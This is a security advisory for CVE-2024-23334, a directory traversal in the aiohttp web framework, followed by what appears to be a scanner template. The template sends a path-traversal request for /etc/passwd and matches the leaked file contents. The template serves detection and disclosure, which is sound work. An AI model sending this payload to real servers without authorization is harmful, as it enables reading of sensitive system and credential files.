aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
PoC
id: CVE-2024-23334
info:
name: aiohttp - Directory Traversal
author: DhiyaneshDk
severity: high
description: |
aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
impact: |
Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
remediation: |
Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
reference:
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
- https://x.com/W01fh4cker/status/1762491210953060827?s=20
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23334
cwe-id: CWE-22
epss-score: 0.76875
epss-percentile: 0.99522
cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: aiohttp
product: aiohttp
tags: cve,cve2024,aiohttp,lfi,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/static/../../../../etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "aiohttp"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402205771bac5badd49c38af1c5d4fe4e8be2bb71b3934990948e73caf6bc0a6abff9022050ae349c68d5d1a7d7e280c1833e7d5725ee564ba21d39f879a8368a2cc57761:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.